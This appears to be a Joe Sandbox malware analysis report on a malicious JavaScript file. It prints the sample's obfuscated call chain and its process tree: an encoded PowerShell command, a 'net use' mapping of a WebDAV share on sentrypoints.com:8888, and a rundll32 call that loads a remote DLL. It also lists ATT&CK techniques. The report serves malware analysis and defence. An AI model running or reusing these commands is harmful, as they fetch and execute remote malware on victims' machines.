Oct 28, 2024 12:03:40.392374992 CET	192.168.2.4	1.1.1.1	0xbd34	Standard query (0)	sentrypoints.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 12:03:40.403871059 CET	1.1.1.1	192.168.2.4	0xbd34	No error (0)	sentrypoints.com		94.159.113.48	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	94.159.113.48	8888	7556	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 12:03:40.415709019 CET	110	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: sentrypoints.com:8888
Oct 28, 2024 12:03:41.313864946 CET	191	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/plain; charset=utf-8 X-Content-Type-Options: nosniff Date: Mon, 28 Oct 2024 11:03:41 GMT Content-Length: 22 Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	07:03:37
Start date:	28/10/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1997614539972622565.js"
Imagebase:	0x7ff6244c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	07:03:37
Start date:	28/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAgADsAOwA7ADsAOwA7ADsAOwAgAHIAdQBuAGQAbABsADMAMgAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAyADIAOQAyADUAMgAyADQANwAzADMAMAAxADIANwAuAGQAbABsACwARQBuAHQAcgB5AA==
Imagebase:	0x7ff788560000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	07:03:37
Start date:	28/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	07:03:39
Start date:	28/10/2024
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\net.exe" use \\sentrypoints.com@8888\davwwwroot\
Imagebase:	0x7ff737730000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	07:03:40
Start date:	28/10/2024
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\system32\rundll32.exe" \\sentrypoints.com@8888\davwwwroot\229252247330127.dll,Entry
Imagebase:	0x7ff6494f0000
File size:	71'680 bytes
MD5 hash:	EF3179D498793BF4234F708D3BE28633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
1	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
2	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
3	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
4	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
5	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
6	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
7	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
8	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
9	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
10	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
11	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
12	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
13	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
14	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
15	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
16	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
17	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
18	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
19	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
20	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
21	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
22	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
23	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
24	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
25	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
26	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
27	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
28	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
29	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
30	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
31	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
32	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
33	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
34	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
35	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
36	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
37	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
38	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
39	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
40	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
41	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
42	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
43	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
44	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
45	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
46	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
47	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
48	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
49	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
50	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
51	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
52	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
53	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
54	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
55	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
56	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
57	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
58	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
59	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
60	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
61	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
62	wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogjzwhlnsbsbdbtfpkb...
63	Function ( '' + wizqpoxlyewqsllzerjyhohippmmxytzmyprnahxvjhgiyfxcfpgszlnfoihnjqsodbavvctssfsclogj...	Function("return this") ➔ function anonymous() () ➔ Windows Script Host.CreateObject("WScript.Shell") ➔ run("powershell -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABzAGUAbgB0AHIAeQBwAG8AaQBuAHQAcwAuAGMAbwBtA...",0,false) ➔ 0

Reset < >

Analysis Process: powershell.exePID: 7392, Parent PID: 7340COMMON

Executed Functions

Function 00007FFD9B6E33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1723498353.00007FFD9B6E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B6E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ffd9b6e0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction ID: 6c53e4b0e9e57e540be446d61fdf101b8c3d83c950fb20561b916774a3ebe4f7
Opcode Fuzzy Hash: 76d70864090ee490991c90939bad70b8686d9afa50a49723ed7ebb2cc1aa164d
Instruction Fuzzy Hash: 9001A73020CB0C4FD748EF0CE051AA5B3E0FB85324F10056DE58AC36A5DB32E882CB41

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: `rundll32.exe {DLLname, DLLfunction}` ).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1997614539972622565.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_3itwmj5m.fpk.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_teaw0blp.05e.ps1

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Packets

Statistics

CPU Usage

Memory Usage

High Level Behavior Distribution

back

Behavior

System Behavior

Analysis Process: wscript.exePID: 7340, Parent PID: 2580

General

Chronological Activities

Analysis Process: powershell.exePID: 7392, Parent PID: 7340

General

Windows Analysis Report
1997614539972622565.js